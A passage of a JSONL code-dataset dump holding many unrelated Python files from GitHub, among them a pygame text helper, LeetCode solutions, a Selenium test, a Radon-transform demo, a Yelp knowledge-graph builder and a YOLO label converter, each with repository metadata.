self.rect\n\n\n\nclass Multilinea():\n \"Clase para mostrar varias lineas de texto.\"\n def __init__(self, lineas= (\"\"), fuente= None, tamano= 24):\n \"Inicializa los multiples textos.\"\n self.fuente = p.font.Font(fuente, tamano)\n self.lineas = lineas\n self.rect = p.Rect(0, 0, 0, 0)\n self.texto = []\n self.rects = []\n self.tamano = [0, 0]\n self.generar()\n \n def generar(self):\n \"Genera un texto para cada cadena y el rectangulo contennedor.\"\n for linea in self.lineas:\n #Creando los nuevos textos y sus posiciones.\n self.texto.append(self.fuente.render(linea, True, (255, 255, 255)))\n self.rects.append(self.texto[-1].get_rect())\n #Creando el contenedor de todos los textos.\n if self.rects[-1].w > self.rect.w:\n self.rect.w = self.rects[-1].w\n self.rect.h += self.rects[-1].h\n\n def mostrar(self, pantalla, alinear= 0):\n \"Muestra los textos en pantalla.\"\n for i in range(0, len(self.rects)):\n self.rects[i].top = self.rect.top + self.rects[i].h * i\n self.alineacion(alinear)\n pantalla.blit(self.texto[i], self.rects[i])\n \n def pos(self, horz= 0, vert= 0, offset_x= 0, offset_y= 0):\n \"Define la posicion del contenedor en la pantalla.\"\n if vert == 0:\n self.rect.top = offset_y\n elif vert == 1:\n self.rect.centery = HEIGHT / 2 + offset_y\n elif vert == 2:\n self.rect.bottom = HEIGHT - offset_y\n if horz == 0:\n self.rect.left = offset_x\n elif horz == 1:\n self.rect.centerx = WIDTH / 2 + offset_x\n elif horz == 2:\n self.rect.right = WIDTH - offset_x\n\n def alineacion(self, alinear= 0):\n \"Define la alineacion de cada texto respecto al contenedor.\"\n for rect in self.rects:\n if alinear == 0:\n rect.left = self.rect.left\n elif alinear == 1:\n rect.centerx = self.rect.centerx\n elif alinear == 2:\n rect.right = self.rect.right\n","repo_name":"stackbox/code","sub_path":"pythons/pygame/UnboundSnake/UnboundSnake/comun.py","file_name":"comun.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"41790765813","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n\n def h(node):\n if not node:\n return 0\n\n l = 1\n if node.left:\n l += h(node.left)\n r = 1\n if node.right:\n r += h(node.right)\n return max(l, r)\n return h(root)\n","repo_name":"susurrant/LeetCode","sub_path":"104.py","file_name":"104.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"17960682767","text":"import torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import Dataset\nimport math\n\ndataset = pd.read_csv('test_data/test_data.csv')\n\nlabels = pd.read_csv('train_data/train_labels.csv')\n\ntimeint = pd.to_datetime(dataset['S_2']).astype(int)\n\ntimeint = (timeint-timeint.min())/(timeint.max()-timeint.min())\n\ndataset_ = dataset.drop(['D_63', 'D_64', 'S_2'], axis=1)\n\ndummies = pd.get_dummies(dataset[['D_63', 'D_64']])\n\ndataset_ = pd.concat([dataset_, timeint, dummies], axis = 1)\n\ndataset_ = dataset_.fillna(0)\n\ndataset_ = dataset_.groupby([\"customer_ID\"], as_index=False).agg(list)\n\ndef fillSeries(row):\n new_row = []\n size = len(row[1])\n if size < 13:\n for idx in range(len(row)):\n if idx == 0: new_row.append(row[idx])\n else: new_row.append([row[idx][0] for cnt in range(13 - size)] + row[idx])\n else:\n new_row = row\n return new_row\n\n\ndataset_ = dataset_.apply(fillSeries, axis=1)\n\ndataset_ = dataset_.set_index('customer_ID').join(labels.set_index('customer_ID'))\n\ndataset_ = dataset_.reset_index(level=0)\n\ndataset_.to_pickle(\"./transformed_test_dataset\")","repo_name":"J-Gann/CreditDefaultPrediction","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28198526864","text":"import cv2\nimport numpy as np\n\nvideo = cv2.VideoCapture(0)\n#background_video = cv2.VideoCapture(\"street.mp4\")\n\nwhile True:\n\tcheck, original_frame = video.read()\n\t\n\tif check:\n\t\t# check, background = background_video.read()\n\n\t\tbackground = cv2.imread('img.jpg')\n\t\tbackground = cv2.resize(background, (1280,720))\n\n\t\timage_copy = np.copy(original_frame)\n\t\tcv2.imshow(\"copy image\", image_copy)\n\n\t\tlower_green = np.array([0, 50, 0])\n\t\tupper_green = np.array([175, 230, 50])\n\n\t\tmask = cv2.inRange(image_copy, lower_green, upper_green)\n\t\tcv2.imshow(\"mask\",mask)\n\n\t\tmasked_image = np.copy(image_copy)\n\t\tmasked_image[mask != 0] = [0, 0, 0]\n\t\tcv2.imshow(\"masking\",masked_image)\n\n\t\tbackground[mask == 0] = [0, 0, 0]\n\t\tcv2.imshow(\"background\", background)\n\t\tcomplete_image = masked_image + background\n\t\t#complete_image = complete_image[207:616,360:709] \n\t\tcv2.imshow(\"complete\", complete_image)\n\n\t# else:\n\t# \tvideo.set(cv2.CAP_PROP_POS_FRAMES, 0)\n\n\tkey = cv2.waitKey(1)\n\n\tif key == ord('q'):\n\t\tbreak\n\n\nvideo.release()\ncv2.destroyAllWindows()\n","repo_name":"Likaone/imageproccesing","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20659551610","text":"def getA1(L):\r\n result=0\r\n isHave=False\r\n for i in L:\r\n if i%5==0 and i%2==0:\r\n isHave=True\r\n result=result+i\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA2(L):\r\n result=0\r\n isHave=False\r\n flag=1\r\n for i in L:\r\n if i%5==1:\r\n isHave=True\r\n if flag==1:\r\n result=result+i\r\n flag=0\r\n else:\r\n result=result-i\r\n flag=1\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA3(L):\r\n isHave=False\r\n result=0\r\n for i in L:\r\n if i%5==2:\r\n isHave=True\r\n result=result+1\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA4(L): \r\n isHave=False\r\n sum=0\r\n count=0\r\n for i in L:\r\n if i%5==3:\r\n isHave=True\r\n sum=sum+i\r\n count=count+1\r\n if count<2:\r\n result=sum\r\n else:\r\n result=round((sum/count),1)\r\n if isHave==True: \r\n return result\r\n return \"N\"\r\ndef getA5(L): \r\n isHave=False\r\n result=0\r\n for i in L:\r\n if i%5==4:\r\n isHave=True\r\n if i>result:\r\n result=i\r\n if isHave==True: \r\n return result\r\n return \"N\" \r\nL=list(map(int,input().split()))\r\nN=L[0]\r\nL.pop(0)\r\nprint (getA1(L),end=\" \")\r\nprint (getA2(L),end=\" \")\r\nprint (getA3(L),end=\" \")\r\nprint (getA4(L),end=\" \")\r\nprint (getA5(L))\r\n","repo_name":"sxz1537/PATtest","sub_path":"1012 数字分类 (20 分).py","file_name":"1012 数字分类 (20 分).py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"41194909478","text":"from selenium import webdriver\nfrom Selenium3class import LoginPage\nfrom Selenium2 import make_screenshot\nimport time\nimport pytest\n\n@pytest.mark.parametrize('username', ['standard_user', 'lockout_user'])\ndef test_lgin_page(username):\n driver = webdriver.Chrome()\n page = LoginPage(driver)\n page.open()\n page.enter_username(username) # parametr\n page.enter_password('secret_sauce')\n page.click_login()\n time.sleep(3)\n try:\n assert driver.current_url == 'https://www.saucedemo.com/investory.html', make_screenshot(driver)\n except AssertionError:\n print('blad, zly adres')\n raise\n else:\n print('ok, dobry adres')\n finally:\n driver.quit()\n\n\ndriver.quit()\n","repo_name":"Izabelina/pythonSelenium","sub_path":"Selenium3.py","file_name":"Selenium3.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73850839912","text":"import requests\nfrom datetime import datetime\n\ndef check_cookie_duration(website):\n \"\"\"\n Ensure that session cookies set by the website don't have an overly long duration.\n \n Args:\n - website (str): URL of the website to be checked.\n \n Returns:\n - str: \"🔴\" if any cookie has an overly long duration, \"🟢\" otherwise, \"⚪\" for any errors.\n \"\"\"\n try:\n response = requests.get(f\"https://{website}\")\n long_duration_cookies = 0\n \n for cookie in response.cookies:\n # Check if 'max-age' attribute exists for the cookie\n if cookie.has_attr('max-age'):\n # Let's assume a session cookie with more than 7 days (604800 seconds) duration is too long.\n if int(cookie['max-age']) > 604800:\n long_duration_cookies += 1\n # Check if 'expires' attribute exists for the cookie\n elif cookie.has_attr('expires'):\n # Parse the 'expires' date and calculate the difference from the current time\n expires_datetime = datetime.strptime(cookie['expires'], \"%a, %d-%b-%Y %H:%M:%S %Z\")\n delta = expires_datetime - datetime.utcnow()\n if delta.total_seconds() > 604800:\n long_duration_cookies += 1\n\n # Return based on the count of long-duration cookies\n if long_duration_cookies > 0:\n print(f\"Found {long_duration_cookies} cookies with long duration on {website}.\")\n return \"🔴\"\n return \"🟢\"\n except Exception as e:\n print(f\"Error checking cookie duration for {website}. Error: {e}\")\n return \"⚪\"\n","repo_name":"fabriziosalmi/websites-monitor","sub_path":"checks/check_cookie_duration.py","file_name":"check_cookie_duration.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"}
+{"seq_id":"27269096812","text":"def binary_search(list,item): # needs a sorted array \r\n low = 0 \r\n high = len(list)-1\r\n\r\n while low<=high:\r\n mid= (low+high)//2 #find middle index of the list\r\n guess= list[mid]\r\n print(mid,guess)\r\n\r\n if guess==item:\r\n return mid\r\n elif guess 0:\n print(f\"{sites_new[i]['domain']} changed by +{rate}%.\")\n if rate < 0:\n print(f\"{sites_new[i]['domain']} changed by {rate}%.\")\n\n# ----------------------------------------------------\n# 3. feladat:\n\nempty_sites = 0\nfor site in sites_new:\n if site[\"size\"] == 0:\n empty_sites += 1\n\nprint(f\"There are {empty_sites} empty sites.\")\n\n# ----------------------------------------------------\n# 4. feladat:\n\nfor site in sites_new:\n if site[\"size\"] != 0:\n if site[\"size\"] > 1024:\n meret = round(site['size'] / 1024, 2)\n print(f\"{site['domain']} is {meret} Gb.\")\n else:\n print(f\"{site['domain']} is {site['size']} Mb.\")\n","repo_name":"Immortalits/web_sizes","sub_path":"web_sizes.py","file_name":"web_sizes.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8403478430","text":"\"\"\"Unit tests for the splatter heatmap transform.\"\"\"\n\nfrom typing import Dict, List\n\nimport pytest\nimport torch\n\nfrom torchbox3d.math.transforms.splatter_heatmap import SplatterHeatmap\nfrom torchbox3d.structures.cuboids import Cuboids\nfrom torchbox3d.structures.grid import VoxelGrid\n\n\n@pytest.mark.parametrize(\n \"voxel_grid,\" \"network_stride,\" \"tasks_cfg,\" \"dataset_name,\" \"cuboids,\",\n [\n pytest.param(\n VoxelGrid(\n min_world_coordinates_m=(-5.0, -5.0, -5.0),\n max_world_coordinates_m=(+5.0, +5.0, +5.0),\n delta_m_per_cell=(+0.1, +0.1, +0.2),\n ),\n 1,\n {0: [\"REGULAR_VEHICLE\", \"ANIMAL\"]},\n \"av2\",\n Cuboids(\n params=torch.as_tensor(\n [\n [-3.5, -3.5, -3.5, 5, 5, 5, 1, 0, 0, 0],\n [-1.25, -1.25, -1.25, 5, 5, 5, 1, 0, 0, 0],\n [-1.25, -1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [-1.25, 1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [0, 0, 0, 1, 1, 1, 1, 0, 0, 0],\n [1.25, 1.25, 1.25, 1, 1, 1, 1, 0, 0, 0],\n [1.25, -1.25, -1.25, 1, 1, 1, 1, 0, 0, 0],\n [3.5, 3.5, 3.5, 1, 1, 1, 1, 0, 0, 0],\n ],\n dtype=torch.float32,\n ),\n categories=torch.as_tensor([18, 18, 0, 18, 18, 18, 18, 18]),\n scores=torch.ones(8),\n ),\n )\n ],\n ids=[\"Test splattering Gaussian targets on a BEV plane.\"],\n)\ndef test_splatter_heatmap(\n voxel_grid: VoxelGrid,\n network_stride: int,\n tasks_cfg: Dict[int, List[str]],\n dataset_name: str,\n cuboids: Cuboids,\n) -> None:\n \"\"\"Unit test for splattering Gaussian targets onto the BEV plane.\"\"\"\n splatter_heatmap = SplatterHeatmap(\n network_stride=network_stride,\n tasks_cfg=tasks_cfg,\n dataset_name=dataset_name,\n )\n\n assert splatter_heatmap is not None\n","repo_name":"benjaminrwilson/torchbox3d","sub_path":"tests/math/transforms/test_splatter_heatmap.py","file_name":"test_splatter_heatmap.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"}
+{"seq_id":"27028895949","text":"from django.http import HttpResponse\nfrom uploader.models import Image\nfrom utils import constants\nfrom http import HTTPStatus as Status\n\npicture_ind_by_key = {}\n\n\ndef home(request):\n persons_key = request.GET.get('key')\n if persons_key is None:\n return HttpResponse(constants.KEY_EXPECTED_MESSAGE,\n status=Status.BAD_REQUEST)\n\n if persons_key not in picture_ind_by_key:\n picture_ind_by_key.update({persons_key: 0})\n else:\n picture_ind_by_key[persons_key] += 1\n\n picture_ind = picture_ind_by_key[persons_key]\n\n images = list(Image.objects.filter(persons_key=persons_key,\n picture_ind=picture_ind))\n if len(images) == 0:\n picture_ind_by_key[persons_key] = 0\n\n first_images = list(Image.objects.filter(persons_key=persons_key,\n picture_ind=0))\n if len(first_images) == 0:\n picture_src = './static/FileNotFound.png'\n else:\n image = first_images[0]\n picture_src = '.' + image.picture.url\n else:\n image = images[0]\n picture_src = '.' + image.picture.url\n\n with open(picture_src, 'rb') as f:\n return HttpResponse(f.read(), content_type=\"image/jpeg\")\n","repo_name":"romanovsavelij/StingrayPhotos","sub_path":"get_image/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"18028126444","text":"\"\"\"\nLink: https://realpython.com/python-cli-testing/\nExperimenting Techniques for Testing Python Command-Line (CLI) Apps. \n * “Lo-Fi” Debugging With Print\n * Using a Debugger\n * Unit Testing with Pytest and Mocks\n * Integration Testing\n\"\"\"\n\ndef initial_transform(data):\n \"\"\"\n Flatten nested dicts\n \"\"\"\n for item in list(data):\n if type(item) is dict:\n for key in item:\n data[key] = item[key]\n\n return data\n\n\ndef final_transform(transformed_data):\n \"\"\"\n Transform address structures into a single structure\n \"\"\"\n transformed_data['address'] = str.format(\n \"{0}\\n{1}, {2} {3}\", transformed_data['street'], \n transformed_data['state'], transformed_data['city'], \n transformed_data['zip'])\n\n return transformed_data\n\n\ndef print_person(person_data):\n parents = \"and\".join(person_data['parents'])\n siblings = \"and\".join(person_data['siblings'])\n person_string = str.format(\n \"Hello, my name is {0}, my siblings are {1}, \"\n \"my parents are {2}, and my mailing\"\n \"address is: \\n{3}\", person_data['name'], \n parents, siblings, person_data['address'])\n print(person_string)\n\n\njohn_data = {\n 'name': 'John Q. Public',\n 'street': '123 Main St.',\n 'city': 'Anytown',\n 'state': 'FL',\n 'zip': 99999,\n 'relationships': {\n 'siblings': ['Michael R. Public', 'Suzy Q. Public'],\n 'parents': ['John Q. Public Sr.', 'Mary S. Public'],\n }\n}\n\nsuzy_data = {\n 'name': 'Suzy Q. Public',\n 'street': '456 Broadway',\n 'apt': '333',\n 'city': 'Miami',\n 'state': 'FL',\n 'zip': 33333,\n 'relationships': {\n 'siblings': ['John Q. Public', 'Michael R. Public', \n 'Thomas Z. Public'],\n 'parents': ['John Q. Public Sr.', 'Mary S. Public'],\n }\n}\n\ninputs = [john_data, suzy_data]\n\nfor input_structure in inputs:\n initial_transformed = initial_transform(input_structure)\n final_transformed = final_transform(initial_transformed)\n print_person(final_transformed)\n","repo_name":"habisl/python-workplace","sub_path":"OOP Practice/cli_app_test.py","file_name":"cli_app_test.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"21974582223","text":"from itertools import combinations, combinations_with_replacement\r\n\r\nintlist = [0,1,2,3,4,5,6,7,8,9]\r\nq = int(input().strip())\r\n\r\ndef get_abs_diff_sum(array,k):\r\n abs_diff_sum = 0\r\n for i in range(n):\r\n for j in range(i,n):\r\n abs_diff_sum += abs(array[i]-array[j])\r\n if abs_diff_sum>k:\r\n break\r\n\r\n return abs_diff_sum\r\n\r\ndef get_sum(array,s):\r\n array_sum=0\r\n for i in array:\r\n array_sum += i\r\n if array_sum >s:\r\n break\r\n\r\n return array_sum\r\n\r\ndef get_array_of_given_sum(no_of_digits, given_sum):\r\n print(\"got\", no_of_digits, given_sum)\r\n if no_of_digits==0:\r\n return [0]\r\n\r\n array_list = []\r\n\r\n for i in range(10):\r\n if given_sum-i>0:\r\n print(\"recursive call\")\r\n array_list.append(get_array_of_given_sum(no_of_digits-1, given_sum-i))\r\n print(\"returning\", array_list)\r\n return array_list\r\n\r\n\r\nfor _ in range(q):\r\n n,s,k = map(int, input().strip().split(' '))\r\n print(get_array_of_given_sum(n, s))\r\n\r\n # flag=True\r\n\r\n # for array in combinations_with_replacement(intlist,n):\r\n # print()\r\n # array_sum = get_sum(array,s)\r\n # if array_sum == s:\r\n # abs_diff_sum = get_abs_diff_sum(array,k)\r\n # if abs_diff_sum == k:\r\n # print(\" \".join(map(str, array)))\r\n # flag=False\r\n # break\r\n # if flag:\r\n # print(\"-1\")\r\n","repo_name":"pyaf/hackerrank","sub_path":"algorithm/challenges/array-construction3.py","file_name":"array-construction3.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"35135073759","text":"from radon_lib import Tissue\nfrom PIL import Image, ImageOps, ImageEnhance, ImageFilter\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport numpy.matlib\nimport numpy.fft\n\n\nwith Image.open(\"test3.png\") as im:\n\tim = ImageOps.grayscale(im)\n\tpix = np.array(im)\n\t# pix = np.true_divide(pix, 256)\n\t# print(pix.shape)\n\nt = Tissue(256)\nfor i in range(256):\n\tfor j in range(256):\n\t\tt.insert_attenuation_value(pix[j][i], (i, j))\n\n \nr = np.array(t.radon_transform())\nf = np.uint8((r / np.amax(r) ) * 255)\n\n# Recreate image without applying any filtering\nim_bp = t.backprojection(r)\nf_bp = np.uint8((im_bp / np.amax(im_bp) ) * 255)\nim2 = Image.fromarray(f_bp.T, 'L')\n\n# Apply ramp filter as shown in the math \nN = r.shape[0]\n\n'''\nUse an additional filter to subdue high frequency content\n'''\n\nham = np.blackman(N)\nham = np.fft.fftshift(ham)\nham = np.matlib.repmat(ham, 180, 1)\nham = np.transpose(ham)\nramp = np.abs(np.linspace(-1, 1, N))\nramp = np.fft.fftshift(ramp)\nramp = np.matlib.repmat(ramp, 180, 1)\nramp = np.transpose(ramp)\nr_fft = np.fft.fft(r, axis = 0)\nr_fft = ramp * r_fft * ham\nr_filt = np.real(np.fft.ifft(r_fft, axis =0))\nim_filt = 0.5 * np.array(t.backprojection(r_filt))\nf_filt = np.uint8((im_filt / np.amax(im_filt) ) * 255)\nim3 = Image.fromarray(f_filt.T, 'L')\n\n\nplt.subplot(1,4,1)\nplt.imshow(im)\nplt.title(\"Actual Image\")\n\n\nplt.subplot(1,4,2)\nplt.imshow(f)\nplt.title(\"Radon Transform of the Image\")\n\n\nplt.subplot(1,4,3)\nplt.imshow(im2)\nplt.title(\"Unfiltered BP of Image\")\n\nplt.subplot(1,4,4)\nplt.imshow(im3)\nplt.title(\"Filtered BP of Image\")\n\nplt.show()","repo_name":"Atman-Kar/Radon-Transform","sub_path":"python/radon_trial.py","file_name":"radon_trial.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"12412121803","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 16 08:09:33 2022\r\n\r\n@author: MarcusA\r\n\"\"\"\r\n\r\nimport json\r\nimport csv \r\nimport pandas as pd\r\n\r\nfrom rdflib import Graph, Namespace, URIRef, BNode, Literal\r\nfrom rdflib.namespace import RDF, FOAF, XSD\r\n\r\ndata_business = []\r\ndata_business_cuisine = []\r\ncsvfile = []\r\ncuisineList = []\r\nexistdbList = []\r\nspecialList = []\r\n\r\nfrom check_if_a_resource_exists_in_dbpedia import return_dbpedia_URI\r\nfrom check_if_a_resource_exists_in_dbpedia import check_exist_dbpedia\r\nfrom pattern.text.en import singularize\r\n\r\n \r\ndf = pd.read_csv('csvData.csv')\r\n\r\nschema = Namespace(\"https://schema.org/\")\r\nyelp_business = Namespace(\"https://www.yelp.com/biz/\")\r\ndb_resource = Namespace(\"http://dbpedia.org/resource/\")\r\n\r\ndef change_format_to_db(catagory):\r\n '''\r\n \r\n\r\n Parameters\r\n ----------\r\n catagory : TYPE string\r\n takes a string in catagory from yelp.\r\n \r\n This function takes a string in catagory from yelp,\r\n changes string to lower case,\r\n capitalize the first letter in string,\r\n replace all empty spaces with line(_),\r\n then returns the transformed string\r\n\r\n Returns\r\n -------\r\n newcatagory : TYPE string\r\n retuens transformed string.\r\n\r\n '''\r\n #changes the whole string to lower case,\r\n newcatagory = catagory.lower()\r\n \r\n #capitalize first letter \r\n newcatagory = catagory.capitalize()\r\n \r\n #replace empty space with _\r\n newcatagory = catagory.replace(\" \", \"_\")\r\n \r\n return newcatagory\r\n\r\ndef string_seperate(string):\r\n '''\r\n\r\n Parameters\r\n ----------\r\n string : TYPE string\r\n \r\n takes a long string, that includes multiple strings seperated på comma.\r\n \r\n This function takes a string, \r\n seperate the string for each comma(,),\r\n and then append each element to a list,\r\n then returns the list.\r\n\r\n Returns\r\n -------\r\n cate_list : TYPE List\r\n list of string.\r\n\r\n '''\r\n n = 0\r\n cate_list = []\r\n a_list = string.split(\", \")\r\n for element in a_list:\r\n cate_list.append(element)\r\n n = n +1\r\n return cate_list\r\n\r\ndef code_to_state(code):\r\n '''\r\n \r\n\r\n Parameters\r\n ----------\r\n code : TYPE string\r\n takes a string, that indicating a state code.\r\n \r\n This function takes a string,\r\n looping for every row in the df dataframe,\r\n compare it to all the values in the df dataframe,\r\n if a corresponding string exist in the Code column,\r\n then returns the string in the state column.\r\n \r\n\r\n Returns\r\n -------\r\n TYPE string\r\n string of a state.\r\n\r\n '''\r\n n = 0\r\n for index, row in df.iterrows():\r\n if str(code) == str(df.loc[n,'Code']):\r\n return str(df.loc[n,'State'])\r\n #str(df.loc[n,])\r\n n = n + 1\r\n \r\nn = 0\r\n\r\n\r\n\r\n\r\ndef check_special_cate(string):\r\n \r\n if any(char not in special_characters for char in string):\r\n if ('&' in string) == True:\r\n string = string.replace('&', ' ')\r\n return check_special_cate(string)\r\n elif ('/' in string) == True:\r\n string = string.replace('/', ' ')\r\n return check_special_cate(string)\r\n elif ('(' in string) == True and (')' in string) == True:\r\n string = string.replace('(', ' ')\r\n string = string.replace(')', ' ')\r\n return check_special_cate(string)\r\n elif (' ' in string) == True:\r\n string = string.replace(' ', ' ')\r\n return check_special_cate(string)\r\n elif (' ' in string) == True:\r\n string = string.replace(' ', ' ')\r\n return check_special_cate(string)\r\n return string\r\n\r\n\r\ndef add_singel_to_dbpedia(business_id,string):\r\n string = singularize(string)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + string)))\r\n \r\ndef remove_apo(string):\r\n return string.replace(\"'\", \"\")\r\n\r\ndef check_exist_dbpedia_clone(business_id, string):\r\n \r\n db_list = ['Bubble Tea', 'Fast Food','Hot Dogs','Asian Fusion','Soul Food','Acai Bowls','Food Court','Dim Sum','Hot Pot','Tui Na']\r\n for element in db_list:\r\n if str(element) == string:\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + change_format_to_db(element))))\r\n return True\r\n \r\ndef add_combined_to_dbpedia(business_id,string):\r\n \r\n if (' ' in string) == True and check_exist_dbpedia_clone(business_id,string) == True:\r\n return True\r\n elif (' ' in string) == True:\r\n string = string.split()\r\n for word in string:\r\n word = singularize(word)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + word)))\r\n elif (' ' in string) != True:\r\n string = singularize(string)\r\n g.add((URIRef(yelp_business + business_id), schema.category, URIRef(db_resource + word)))\r\n \r\n \r\n \r\n '''\r\n if check_exist_dbpedia(change_format_to_db(string)) == True:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.category, URIRef(db_resource + change_format_to_db(string))))\r\n else:\r\n '''\r\n \r\ngraph_file = open('yelp-kg-business_ex_cate.nt', 'a')\r\n\r\nwith open('yelp_academic_dataset_business.json', encoding=\"utf8\") as f:\r\n for line in f:\r\n line = line.encode(\"ascii\", \"ignore\") #removing unicode characters\r\n line = json.loads(line)\r\n g = Graph()\r\n special_characters = \"^&()/\" \r\n if line['categories'] != None:\r\n #split the string in categories to a list, create list as catagory_list\r\n catagory_list = string_seperate(line['categories'])\r\n #for every item in catagory_list, compare it with the dbpedia\r\n for item in catagory_list:\r\n item = remove_apo(item)\r\n if any(char in special_characters for char in item):\r\n item = check_special_cate(item)\r\n if (' ' in item) == True:\r\n add_combined_to_dbpedia(line['business_id'],item)\r\n else:\r\n words = remove_apo(item)\r\n add_singel_to_dbpedia(line['business_id'],item)\r\n elif (' ' in item) == True:\r\n add_combined_to_dbpedia(line['business_id'],item)\r\n else:\r\n add_singel_to_dbpedia(line['business_id'],item)\r\n graph_file.write(g.serialize(format=\"nt\"))\r\n print(n)\r\n \r\n n = n + 1\r\ngraph_file.close()\r\n\r\n\r\n\r\n'''\r\nif line['state'] !=None and line['city'] != None:\r\n city = return_dbpedia_URI(change_format_to_db(line['city']) + ',_' + code_to_state(line['state']))\r\n print(line['city'] + ',_' + code_to_state(line['state']))\r\n if city != False:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, URIRef(city)))\r\n print(city)\r\n elif return_dbpedia_URI(change_format_to_db(line['city'])) != False:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, URIRef(db_resource + change_format_to_db(line['city']))))\r\n print(line['city'])\r\n else:\r\n g.add((URIRef(yelp_business + line['business_id']), schema.City, Literal(line['city'], datatype=XSD.string)))\r\n\r\ng.add((URIRef(yelp_business + line['business_id']), schema.City, Literal(line['city'], datatype=XSD.string)))\r\n'''","repo_name":"AAU-WebDataScience/F22-DV4-03","sub_path":"code_to_generate_graph/graf_business_exstra.py","file_name":"graf_business_exstra.py","file_ext":"py","file_size_in_byte":7461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"40849664026","text":"import unittest\nimport time\nimport os\nimport picamera_mock\nimport picamera\nimport camera\nimport config\n\nclass CameraTest(unittest.TestCase):\n def setUp(self):\n config.Config.read()\n picamera.PiCamera = picamera_mock.PiCameraMock\n self.cam = camera.Camera.get_instance()\n \n def tearDown(self):\n self.cam.exit()\n camera.Camera._instance = None\n\n def test_take_picture_jpeg(self):\n pic = self.cam.get_image_jpeg()\n self.assertTrue(pic is not None)\n\n def test_take_picture_bgr(self):\n pic = self.cam.get_image()\n self.assertTrue(pic is not None)\n\n def test_video_rec(self):\n video_filename = \"video_test\"\n self.cam.video_rec(video_filename)\n time.sleep(5)\n self.cam.video_stop()\n v = open(\"data/media/VID\" + video_filename + \".mp4\")\n t = open(\"data/media/VID\" + video_filename + \"_thumb.jpg\")\n self.assertTrue(v is not None and t is not None)\n v.close()\n t.close()\n os.remove(\"data/media/VID\" + video_filename + \".mp4\")\n os.remove(\"data/media/VID\" + video_filename + \"_thumb.jpg\")\n\n def test_find_color(self):\n color = 'ff0000'\n dist, angle = self.cam.find_color(color)\n self.assertTrue(dist > 0 and angle < 180)\n","repo_name":"CoderBotOrg/backend","sub_path":"test/camera_test.py","file_name":"camera_test.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"72"}
+{"seq_id":"70306116713","text":"import os\nfrom pathlib import Path\nfrom PIL import Image\nimport csv\n\n\ndef convert(size, box):\n dw = 1. / size[0]\n dh = 1. / size[1]\n x = (box[0] + box[2] / 2) * dw\n y = (box[1] + box[3] / 2) * dh\n w = box[2] * dw\n h = box[3] * dh\n return (x, y, w, h)\n \nwd = os.getcwd()\n\nif not os.path.exists('labels'):\n os.makedirs('labels')\n\ntrain_file = 'images.txt'\ntrain_file_txt = ''\n \nanns = os.listdir('annotations')\nfor ann in anns:\n ans = ''\n outpath = wd + '/labels/' + ann\n if ann[-3:] != 'txt':\n continue\n with Image.open(wd + '/images/' + ann[:-3] + 'jpg') as Img:\n img_size = Img.size\n with open(wd + '/annotations/' + ann, newline='') as csvfile:\n spamreader = csv.reader(csvfile)\n for row in spamreader:\n if row[4] == '0':\n continue\n bb = convert(img_size, tuple(map(int, row[:4])))\n ans = ans + str(int(row[5])-1) + ' ' + ' '.join(str(a) for a in bb) + '\\n'\n with open(outpath, 'w') as outfile:\n outfile.write(ans)\n train_file_txt = train_file_txt + wd + '/images/' + ann[:-3] + 'jpg\\n'\n\nwith open(train_file, 'w') as outfile:\n 